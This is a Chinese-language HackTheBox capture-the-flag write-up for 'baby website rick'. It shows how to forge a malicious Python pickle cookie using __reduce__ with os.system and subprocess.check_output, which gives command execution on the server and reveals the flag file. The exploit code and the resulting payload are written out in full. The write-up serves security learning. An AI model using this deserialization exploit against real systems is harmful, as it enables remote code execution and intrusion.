概述

HackTheBox 网站CTF靶场Web相关题目baby website rick，题目地址https://app.hackthebox.com/challenges/baby-website-rick，考察pickle反序列化漏洞的利用。

题目

题目概述

开启程序实例后，提示访问165.227.225.205:31512，访问http://165.227.225.205:31512，看到如下Web界面，网站的标题是insecure deserialization，即不安全的反序列化。

题目解答

通过火狐的开发者工具检查cookie

得到

plan_b:"KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu"

base64解码得到

(dp0
S'serum'
p1
ccopy_reg
_reconstructor
p2
(c__main__
anti_pickle_serum
p3
c__builtin__
object
p4
Ntp5
Rp6
s.

使用pickle解码

from base64 import b64decode
import picklecode = b'KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu'serum = pickle.loads(b64decode(code))
print(serum)

得到如下报错

根据提示修改代码，添加anti_pickle_serum = 'test'

from base64 import b64decode
import pickleanti_pickle_serum = 'test'code = b'KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu'serum = pickle.loads(b64decode(code))
print(serum)

得到报错如下

大意是说X (即anti_pickle_serum) 不是 type object，因此将anti_pickle_serum定义为一个类

from base64 import b64decode
import pickleclass anti_pickle_serum(object):def __init__(self):passcode = b'KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu'serum = pickle.loads(b64decode(code))
print(serum)

运行得到

即这个Web应用的cookie是一个字典，其键位serum，值为anti_pickle_serum的类。

对于pickle反序列化的利用，可以使用__reduce__()方法，它需要一个函数和一个参数列表。

import os
from base64 import b64encode
import pickleclass anti_pickle_serum(object):def __reduce__(self):               return os.system, ('whoami',)code = pickle.dumps({'serum': anti_pickle_serum()})
code = b64encode(code)
print(code)

运行得到b'gAN9cQBYBQAAAHNlcnVtcQFjcG9zaXgKc3lzdGVtCnECXXEDWAYAAAB3aG9hbWlxBGGFcQVScQZzLg=='

但与我们访问网站得到的cookie值KGRwMApTJ3NlcnVtJwpwMQpjY29weV9yZWcKX3JlY29uc3RydWN0b3IKcDIKKGNfX21haW5fXwphbnRpX3BpY2tsZV9zZXJ1bQpwMwpjX19idWlsdGluX18Kb2JqZWN0CnA0Ck50cDUKUnA2CnMu形式不同。

查阅pickle相关文档，发现dumps有一个protocol参数，其取值范围为0-5

修改代码为

import os
from base64 import b64encode
import pickleclass anti_pickle_serum(object):def __reduce__(self):               return os.system, ('whoami',)code = pickle.dumps({'serum': anti_pickle_serum()}, protocol=0)
code = b64encode(code)
print(code)

运行得到b'KGRwMApWc2VydW0KcDEKY3Bvc2l4CnN5c3RlbQpwMgooVndob2FtaQpwMwp0cDQKUnA1CnMu'，通过浏览器插件修改cookie为此值，刷新网页得到

0，这是os.system的返回值，我们需要的是命令执行的返回结果，改用subprocess.check_output

import subprocess
from base64 import b64encode
import pickleclass anti_pickle_serum(object):def __reduce__(self):               return subprocess.check_output, ('ls',)code = pickle.dumps({'serum': anti_pickle_serum()}, protocol=0)
code = b64encode(code)
print(code)

运行得到结果后修改cookie值并刷新页面，得到

得知flag文件为flag_wIp1b，修改执行的命令为cat flag_wIp1b，运行代码后得到cookie值，修改cookie后刷新网页得到flag

HTB-baby website rick相关推荐

如何使用Next.js创建动态的Rick and Morty Wiki Web App
Building web apps with dynamic APIs and server side rendering are a way to give people a great exper ...
【英语学习】【Daily English】U12 E-World L04 I bought it on a Swiss website
文章目录 Word Preparation ship the items out:把货物运到 special delivery:特快专递 delivery period:交货期 I can't hel ...
HTB靶场系列 Windows靶机 Granny靶机
勘探还是使用nmap进行侦擦先大致扫描 nmap 10.10.10.15 Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-01 10:29 C ...
每日英语：China's New Anti-Graft Website: A Tale of Tigers, Flies and Bath Tubs
With considerable fanfare, China's anti-graft squad has rolled out a brand new website in the ongoin ...
firefox.exe not found problem (VS2005 website)
when I try and run a .ASPX files(website application) it gives me an error "Unable to start pro ...
JMeter运行通过Chrome打开的website
部分website在chrome上运行正常,但在IE环境运行会存在问题.而是用 JMeter运行通过chrome打开的website时候,需要处理一下. 可以参考下面几篇文章: http://ninj ...
Our Proof : Page Scraping : Website Data Extraction : Data Mining Analytics : Connotate.com
Our Proof : Page Scraping : Website Data Extraction : Data Mining Analytics : Connotate.com There's ...
WebApplication和WebSite有什么区别？我该选择哪个？
51aspx推荐使用WebApplication 本文将向大家简单介绍一下VS2005中WebSite和WebApplicationd的区别,希望能够对大家有所帮助. WebApplication编程 ...
Incomedia WebSite X5 17中文版
教程: 1.下载软件压缩包文件,双击打开"wsx5_start_trstart17.exe",进行安装 2.使用安装向导进行安装 3.阅读软件的许可协议,阅读完成后点击我接受许可协 ...

HTB-baby website rick

文章目录

概述

题目

题目概述

题目解答

HTB-baby website rick相关推荐

最新文章

热门文章